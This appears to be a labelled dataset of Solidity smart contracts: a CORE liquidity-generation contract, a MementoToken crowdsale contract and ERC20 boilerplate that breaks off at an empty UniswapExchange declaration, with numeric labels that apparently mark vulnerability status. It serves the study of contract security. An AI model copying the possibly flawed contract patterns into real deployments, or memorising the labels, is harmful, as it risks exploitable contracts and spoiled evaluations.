function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
uint256[49] private __gap;
}
pragma solidity ^0.6.0;
contract ReentrancyGuardUpgradeSafe is Initializable {
bool private _notEntered;
function __ReentrancyGuard_init() internal initializer {
__ReentrancyGuard_init_unchained();
}
function __ReentrancyGuard_init_unchained() internal initializer {
_notEntered = true;
}
modifier nonReentrant() {
require(_notEntered, "ReentrancyGuard: reentrant call");
_notEntered = false;
_;
_notEntered = true;
}
uint256[49] private __gap;
}
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
pragma solidity ^0.6.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity >=0.5.0;
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
pragma solidity >=0.5.0;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
pragma solidity ^0.6.0;
interface ICoreVault {
function devaddr() external returns (address);
function addPendingRewards(uint _amount) external;
}
pragma solidity 0.6.12;
library COREIUniswapV2Library {
using SafeMath for uint256;
function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) {
require(tokenA != tokenB, 'IUniswapV2Library: IDENTICAL_ADDRESSES');
(token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
require(token0 != address(0), 'IUniswapV2Library: ZERO_ADDRESS');
}
function getAmountOut(uint256 amountIn, uint256 reserveIn, uint256 reserveOut) internal returns (uint256 amountOut) {
require(amountIn > 0, 'UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT');
require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
uint amountInWithFee = amountIn.mul(997);
uint numerator = amountInWithFee.mul(reserveOut);
uint denominator = reserveIn.mul(1000).add(amountInWithFee);
amountOut = numerator / denominator;
}
}
interface IERC95 {
function wrapAtomic(address) external;
function transfer(address, uint256) external returns (bool);
function balanceOf(address) external view returns (uint256);
function skim(address to) external;
function unpauseTransfers() external;
}
interface CERC95 {
function wrapAtomic(address) external;
function transfer(address, uint256) external returns (bool);
function balanceOf(address) external view returns (uint256);
function skim(address to) external;
function name() external view returns (string memory);
}
interface ICORETransferHandler {
function sync(address) external returns(bool,bool);
}
contract cLGE is Initializable, OwnableUpgradeSafe, ReentrancyGuardUpgradeSafe {
using SafeMath for uint256;
IERC20 public tokenBeingWrapped;
address public coreEthPair;
address public wrappedToken;
address public preWrapEthPair;
address public COREToken;
address public _WETH;
address public wrappedTokenUniswapPair;
address public uniswapFactory;
uint256 public totalETHContributed;
uint256 public totalCOREContributed;
uint256 public totalWrapTokenContributed;
uint256 private wrappedTokenBalance;
uint256 private COREBalance;
uint256 public totalCOREToRefund;
uint256 public totalLPCreated;
uint256 private totalUnitsContributed;
uint256 public LPPerUnitContributed;
event Contibution(uint256 COREvalue, address from);
event COREBought(uint256 COREamt, address from);
mapping (address => uint256) public COREContributed;
mapping (address => uint256) public unitsContributed;
mapping (address => uint256) public unitsClaimed;
mapping (address => bool) public CORERefundClaimed;
mapping (address => address) public pairWithWETHAddressForToken;
mapping (address => uint256) public wrappedTokenContributed;
ICOREGlobals public coreGlobals;
bool public LGEStarted;
uint256 public contractStartTimestamp;
uint256 public LGEDurationDays;
bool public LGEFinished;
function initialize(uint256 daysLong, address _wrappedToken, address _coreGlobals, address _preWrapEthPair) public initializer {
require(msg.sender == address(0x5A16552f59ea34E44ec81E58b3817833E9fD5436));
OwnableUpgradeSafe.__Ownable_init();
ReentrancyGuardUpgradeSafe.__ReentrancyGuard_init();
contractStartTimestamp = uint256(-1);
LGEDurationDays = daysLong.mul(1 days);
coreGlobals = ICOREGlobals(_coreGlobals);
coreEthPair = coreETHPairGetter();
(COREToken, _WETH) = (IUniswapV2Pair(coreEthPair).token0(), IUniswapV2Pair(coreEthPair).token1());
address tokenBeingWrappedAddress = IUniswapV2Pair(_preWrapEthPair).token1();
tokenBeingWrapped = IERC20(tokenBeingWrappedAddress);
pairWithWETHAddressForToken[address(tokenBeingWrapped)] = _preWrapEthPair;
pairWithWETHAddressForToken[IUniswapV2Pair(coreEthPair).token0()] = coreEthPair;
wrappedToken = _wrappedToken;
preWrapEthPair = _preWrapEthPair;
uniswapFactory = coreGlobals.UniswapFactory();
}
function setTokenBeingWrapped(address token, address tokenPairWithWETH) public onlyOwner {
tokenBeingWrapped = IERC20(token);
pairWithWETHAddressForToken[token] = tokenPairWithWETH;
}
function startLGE() public onlyOwner {
require(LGEStarted == false, "Already started");
contractStartTimestamp = block.timestamp;
LGEStarted = true;
updateRunningAverages();
}
function isLGEOver() public view returns (bool) {
return block.timestamp > contractStartTimestamp.add(LGEDurationDays);
}
function claimLP() nonReentrant public {
require(LGEFinished == true, "LGE : Liquidity generation not finished");
require(unitsContributed[msg.sender].sub(unitsClaimed[msg.sender]) > 0, "LEG : Nothing to claim");
IUniswapV2Pair(wrappedTokenUniswapPair)
.transfer(msg.sender, unitsContributed[msg.sender].sub(getCORERefundForPerson(msg.sender)).mul(LPPerUnitContributed).div(1e18));
unitsClaimed[msg.sender] = unitsContributed[msg.sender];
}
function buyToken(address tokenTarget, uint256 amtToken, address tokenSwapping, uint256 amtTokenSwappingInput, address pair) internal {
(address token0, address token1) = COREIUniswapV2Library.sortTokens(tokenSwapping, tokenTarget);
IERC20(tokenSwapping).transfer(pair, amtTokenSwappingInput);
if(tokenTarget == token0) {
IUniswapV2Pair(pair).swap(amtToken, 0, address(this), "");
}
else {
IUniswapV2Pair(pair).swap(0, amtToken, address(this), "");
}
if(tokenTarget == COREToken){
emit COREBought(amtToken, msg.sender);
}
updateRunningAverages();
}
function updateRunningAverages() internal{
if(_averagePrices[address(tokenBeingWrapped)].lastBlockOfIncrement != block.number) {
_averagePrices[address(tokenBeingWrapped)].lastBlockOfIncrement = block.number;
updateRunningAveragePrice(address(tokenBeingWrapped), false);
}
if(_averagePrices[COREToken].lastBlockOfIncrement != block.number) {
_averagePrices[COREToken].lastBlockOfIncrement = block.number;
updateRunningAveragePrice(COREToken, false);
}
}
function coreETHPairGetter() public view returns (address) {
return coreGlobals.COREWETHUniPair();
}
function getPairReserves(address pair) internal view returns (uint256 wethReserves, uint256 tokenReserves) {
address token0 = IUniswapV2Pair(pair).token0();
(uint256 reserve0, uint reserve1,) = IUniswapV2Pair(pair).getReserves();
(wethReserves, tokenReserves) = token0 == _WETH ? (reserve0, reserve1) : (reserve1, reserve0);
}
function finalizeTokenWrapAddress(address _wrappedToken) onlyOwner public {
wrappedToken = _wrappedToken;
}
function safetyTokenWithdraw(address token) onlyOwner public {
require(block.timestamp > contractStartTimestamp.add(LGEDurationDays).add(1 days));
IERC20(token).transfer(msg.sender, IERC20(token).balanceOf(address(this)));
}
function safetyETHWithdraw() onlyOwner public {
require(block.timestamp > contractStartTimestamp.add(LGEDurationDays).add(1 days));
msg.sender.call.value(address(this).balance)("");
}
function extendLGE(uint numHours) public {
require(msg.sender == 0xd5b47B80668840e7164C1D1d81aF8a9d9727B421 || msg.sender == 0xC91FE1ee441402D854B8F22F94Ddf66618169636, "LGE: Requires admin");
require(numHours <= 24);
LGEDurationDays = LGEDurationDays.add(numHours.mul(1 hours));
}
function addLiquidityAtomic() public {
require(LGEStarted == true, "LGE Didn't start");
require(LGEFinished == false, "LGE : Liquidity generation finished");
require(isLGEOver() == false, "LGE is over.");
if(IUniswapV2Pair(preWrapEthPair).balanceOf(address(this)) > 0) {
unwrapLiquidityTokens();
} else{
( uint256 tokenBeingWrappedPer1ETH, uint256 coreTokenPer1ETH) = getHowMuch1WETHBuysOfTokens();
uint256 balWETH = IERC20(_WETH).balanceOf(address(this));
uint256 totalCredit;
uint256 tokenBeingWrappedBalNow = IERC20(tokenBeingWrapped).balanceOf(address(this));
uint256 tokenBeingWrappedBalChange = tokenBeingWrappedBalNow.sub(wrappedTokenBalance);
if(tokenBeingWrappedBalChange > 0) {
totalWrapTokenContributed = totalWrapTokenContributed.add(tokenBeingWrappedBalChange);
wrappedTokenContributed[msg.sender] = wrappedTokenContributed[msg.sender].add(tokenBeingWrappedBalChange);
totalCredit = handleTokenBeingWrappedLiquidityAddition(tokenBeingWrappedBalChange,tokenBeingWrappedPer1ETH,coreTokenPer1ETH) ;
wrappedTokenBalance = IERC20(tokenBeingWrapped).balanceOf(address(this));
COREBalance = IERC20(COREToken).balanceOf(address(this));
}
if(balWETH > 0){
totalETHContributed = totalETHContributed.add(balWETH);
totalCredit = totalCredit.add( handleWETHLiquidityAddition(balWETH,tokenBeingWrappedPer1ETH,coreTokenPer1ETH) );
COREBalance = IERC20(COREToken).balanceOf(address(this));
}
uint256 COREBalNow = IERC20(COREToken).balanceOf(address(this));
uint256 balCOREChange = COREBalNow.sub(COREBalance);
if(balCOREChange > 0) {
COREContributed[msg.sender] = COREContributed[msg.sender].add(balCOREChange);
totalCOREContributed = totalCOREContributed.add(balCOREChange);
}
COREBalance = COREBalNow;
uint256 unitsChange = totalCredit.add(balCOREChange);
unitsContributed[msg.sender] = unitsContributed[msg.sender].add(unitsChange);
totalUnitsContributed = totalUnitsContributed.add(unitsChange);
emit Contibution(totalCredit, msg.sender);
}
}
function handleTokenBeingWrappedLiquidityAddition(uint256 amt,uint256 tokenBeingWrappedPer1ETH,uint256 coreTokenPer1ETH) internal returns (uint256 coreUnitsCredit) {
uint256 outWETH;
(uint256 reserveWETHofWrappedTokenPair, uint256 reserveTokenofWrappedTokenPair) = getPairReserves(preWrapEthPair);
if(COREBalance.div(coreTokenPer1ETH) <= wrappedTokenBalance.div(tokenBeingWrappedPer1ETH)) {
outWETH = COREIUniswapV2Library.getAmountOut(amt, reserveTokenofWrappedTokenPair, reserveWETHofWrappedTokenPair);
buyToken(_WETH, outWETH, address(tokenBeingWrapped) , amt, preWrapEthPair);
(uint256 buyReserveWeth, uint256 reserveCore) = getPairReserves(coreEthPair);
uint256 outCore = COREIUniswapV2Library.getAmountOut(outWETH, buyReserveWeth, reserveCore);
buyToken(COREToken, outCore, _WETH ,outWETH,coreEthPair);
} else {
outWETH = COREIUniswapV2Library.getAmountOut(amt, reserveTokenofWrappedTokenPair , reserveWETHofWrappedTokenPair);
}
coreUnitsCredit = outWETH.mul(coreTokenPer1ETH).div(1e18);
}
function handleWETHLiquidityAddition(uint256 amt,uint256 tokenBeingWrappedPer1ETH,uint256 coreTokenPer1ETH) internal returns (uint256 coreUnitsCredit) {
if(COREBalance.div(coreTokenPer1ETH) <= wrappedTokenBalance.div(tokenBeingWrappedPer1ETH)) {
(uint256 reserveWeth, uint256 reserveCore) = getPairReserves(coreEthPair);
uint256 outCore = COREIUniswapV2Library.getAmountOut(amt, reserveWeth, reserveCore);
buyToken(COREToken, outCore,_WETH,amt, coreEthPair);
} else {
(uint256 reserveWeth, uint256 reserveToken) = getPairReserves(preWrapEthPair);
uint256 outToken = COREIUniswapV2Library.getAmountOut(amt, reserveWeth, reserveToken);
buyToken(address(tokenBeingWrapped), outToken,_WETH, amt,preWrapEthPair);
wrappedTokenBalance = IERC20(tokenBeingWrapped).balanceOf(address(this));
wrappedTokenContributed[msg.sender] = wrappedTokenContributed[msg.sender].add(outToken);
}
coreUnitsCredit = amt.mul(coreTokenPer1ETH).div(1e18);
}
function getHowMuch1WETHBuysOfTokens() public view returns (uint256 tokenBeingWrappedPer1ETH, uint256 coreTokenPer1ETH) {
return (getAveragePriceLast20Blocks(address(tokenBeingWrapped)), getAveragePriceLast20Blocks(COREToken));
}
fallback() external payable {
if(msg.sender != _WETH) {
addLiquidityETH();
}
}
function addLiquidityETH() nonReentrant public payable {
IWETH(_WETH).deposit{value: msg.value}();
addLiquidityAtomic();
}
function addLiquidityWithTokenWithAllowance(address token, uint256 amount) public nonReentrant {
IERC20(token).transferFrom(msg.sender, address(this), amount);
addLiquidityAtomic();
}
function unwrapLiquidityTokens() internal {
IUniswapV2Pair pair = IUniswapV2Pair(preWrapEthPair);
pair.transfer(preWrapEthPair, pair.balanceOf(address(this)));
pair.burn(address(this));
addLiquidityAtomic();
}
mapping(address => PriceAverage) _averagePrices;
struct PriceAverage{
uint8 lastAddedHead;
uint256[20] price;
uint256 cumulativeLast20Blocks;
bool arrayFull;
uint lastBlockOfIncrement;
}
function getAveragePriceLast20Blocks(address token) public view returns (uint256){
return _averagePrices[token].cumulativeLast20Blocks.div(_averagePrices[token].arrayFull ? 20 : _averagePrices[token].lastAddedHead);
}
function updateRunningAveragePrice(address token, bool isRescue) public returns (uint256) {
PriceAverage storage currentAveragePrices = _averagePrices[token];
address pairWithWETH = pairWithWETHAddressForToken[token];
(uint256 wethReserves, uint256 tokenReserves) = getPairReserves(address(pairWithWETH));
uint256 outTokenFor1WETH = COREIUniswapV2Library.getAmountOut(1e18, wethReserves, tokenReserves);
uint8 i = currentAveragePrices.lastAddedHead;
uint256 lastQuote;
if(i == 0) {
lastQuote = currentAveragePrices.price[19];
}
else {
lastQuote = currentAveragePrices.price[i - 1];
}
if(lastQuote != 0 && isRescue == false){
require(outTokenFor1WETH < lastQuote.mul(15000).div(10000), "Change too big from previous price");
}
currentAveragePrices.cumulativeLast20Blocks = currentAveragePrices.cumulativeLast20Blocks.sub(currentAveragePrices.price[i]);
currentAveragePrices.price[i] = outTokenFor1WETH;
currentAveragePrices.cumulativeLast20Blocks = currentAveragePrices.cumulativeLast20Blocks.add(outTokenFor1WETH);
currentAveragePrices.lastAddedHead++;
if(currentAveragePrices.lastAddedHead > 19) {
currentAveragePrices.lastAddedHead = 0;
currentAveragePrices.arrayFull = true;
}
return currentAveragePrices.cumulativeLast20Blocks;
}
function rescueRatioLock(address token) public onlyOwner{
updateRunningAveragePrice(token, true);
}
function addLiquidityToPairPublic() nonReentrant public{
addLiquidityToPair(true);
}
function addLiquidityToPairAdmin() nonReentrant onlyOwner public{
addLiquidityToPair(false);
}
function getCORERefundForPerson(address guy) public view returns (uint256) {
return COREContributed[guy].mul(1e12).div(totalCOREContributed).
mul(totalCOREToRefund).div(1e12);
}
function getCOREREfund() nonReentrant public {
require(LGEFinished == true, "LGE not finished");
require(totalCOREToRefund > 0 , "No refunds");
require(COREContributed[msg.sender] > 0, "You didn't contribute anything");
require(CORERefundClaimed[msg.sender] == false , "You already claimed");
uint256 COREToRefundToThisPerson = getCORERefundForPerson(msg.sender);
CORERefundClaimed[msg.sender] = true;
IERC20(COREToken).transfer(msg.sender,COREToRefundToThisPerson);
}
function addLiquidityToPair(bool publicCall) internal {
require(block.timestamp > contractStartTimestamp.add(LGEDurationDays).add(publicCall ? 2 hours : 0), "LGE : Liquidity generation ongoing");
require(LGEFinished == false, "LGE : Liquidity generation finished");
IERC95(wrappedToken).unpauseTransfers();
tokenBeingWrapped.transfer(wrappedToken, tokenBeingWrapped.balanceOf(address(this)));
IERC95(wrappedToken).wrapAtomic(address(this));
IERC95(wrappedToken).skim(address(this));
wrappedTokenUniswapPair = IUniswapV2Factory(coreGlobals.UniswapFactory()).getPair(COREToken , wrappedToken);
if(wrappedTokenUniswapPair == address(0)) {
wrappedTokenUniswapPair = IUniswapV2Factory(coreGlobals.UniswapFactory()).createPair(
COREToken,
wrappedToken
);
}
uint256 DEV_FEE = 724;
address devaddress = ICoreVault(coreGlobals.COREVaultAddress()).devaddr();
IERC95(wrappedToken).transfer(devaddress, IERC95(wrappedToken).balanceOf(address(this)).mul(DEV_FEE).div(10000));
IERC20(COREToken).transfer(devaddress, IERC20(COREToken).balanceOf(address(this)).mul(DEV_FEE).div(10000));
uint256 balanceCORENow = IERC20(COREToken).balanceOf(address(this));
uint256 balanceCOREWrappedTokenNow = IERC95(wrappedToken).balanceOf(address(this));
( uint256 tokenBeingWrappedPer1ETH, uint256 coreTokenPer1ETH) = getHowMuch1WETHBuysOfTokens();
uint256 totalValueOfWrapper = balanceCOREWrappedTokenNow.div(tokenBeingWrappedPer1ETH).mul(1e18);
uint256 totalValueOfCORE = balanceCORENow.div(coreTokenPer1ETH).mul(1e18);
totalCOREToRefund = totalValueOfWrapper >= totalValueOfCORE ? 0 :
totalValueOfCORE.sub(totalValueOfWrapper).mul(coreTokenPer1ETH).div(1e18);
IERC95(wrappedToken).transfer(wrappedTokenUniswapPair, IERC95(wrappedToken).balanceOf(address(this)));
IERC20(COREToken).transfer(wrappedTokenUniswapPair, balanceCORENow.sub(totalCOREToRefund));
require(IUniswapV2Pair(wrappedTokenUniswapPair).totalSupply() == 0, "Somehow total supply is higher, sanity fail");
IUniswapV2Pair(wrappedTokenUniswapPair).mint(address(this));
totalLPCreated = IUniswapV2Pair(wrappedTokenUniswapPair).balanceOf(address(this));
LPPerUnitContributed = totalLPCreated.mul(1e18).div(totalUnitsContributed.sub(totalCOREToRefund));
require(LPPerUnitContributed > 0, "LP Per Unit Contribute Must be above Zero");
LGEFinished = true;
ICORETransferHandler(coreGlobals.TransferHandler()).sync(wrappedToken);
ICORETransferHandler(coreGlobals.TransferHandler()).sync(COREToken);
}
} | 0 | 1,771 |
pragma solidity ^0.4.23;
library SafeMath {
function multiplication(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function division(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function subtraction(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function addition(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].subtraction(_value);
balances[_to] = balances[_to].addition(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping(address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].subtraction(_value);
balances[_to] = balances[_to].addition(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].subtraction(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].addition(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.subtraction(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Configurable {
uint256 public constant cap = 1000000*10**18;
uint256 public constant basePrice = 100*10**18;
uint256 public tokensSold = 0;
uint256 public constant tokenReserve = 1000000*10**18;
uint256 public remainingTokens = 0;
}
contract CrowdSaleToken is StandardToken, Configurable, Ownable {
enum Stages {
none,
icoStart,
icoEnd
}
Stages currentStage;
constructor() public {
currentStage = Stages.none;
balances[owner] = balances[owner].addition(tokenReserve);
totalSupply_ = totalSupply_.addition(tokenReserve);
remainingTokens = cap;
emit Transfer(address(this), owner, tokenReserve);
}
function() public payable {
require(currentStage == Stages.icoStart);
require(msg.value > 0);
require(remainingTokens > 0);
uint256 weiAmount = msg.value;
uint256 tokens = weiAmount.multiplication(basePrice).division(1 ether);
uint256 returnWei = 0;
if(tokensSold.addition(tokens) > cap) {
uint256 newTokens = cap.subtraction(tokensSold);
uint256 newWei = newTokens.division(basePrice).multiplication(1 ether);
returnWei = weiAmount.subtraction(newWei);
weiAmount = newWei;
tokens = newTokens;
}
tokensSold = tokensSold.addition(tokens);
remainingTokens = cap.subtraction(tokensSold);
if(returnWei > 0) {
msg.sender.transfer(returnWei);
emit Transfer(address(this), msg.sender, returnWei);
}
balances[msg.sender] = balances[msg.sender].addition(tokens);
emit Transfer(address(this), msg.sender, tokens);
totalSupply_ = totalSupply_.addition(tokens);
owner.transfer(weiAmount);
}
function startIco() public onlyOwner {
require(currentStage != Stages.icoEnd);
currentStage = Stages.icoStart;
}
function endIco() internal {
currentStage = Stages.icoEnd;
if(remainingTokens > 0) {
balances[owner] = balances[owner].addition(remainingTokens);
}
owner.transfer(address(this).balance);
}
function finalizeIco() public onlyOwner {
require(currentStage != Stages.icoEnd);
endIco();
}
}
contract MementoToken is CrowdSaleToken {
string public constant name = "Memento";
string public constant symbol = "MTX";
uint32 public constant decimals = 18;
} | 1 | 3,511 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
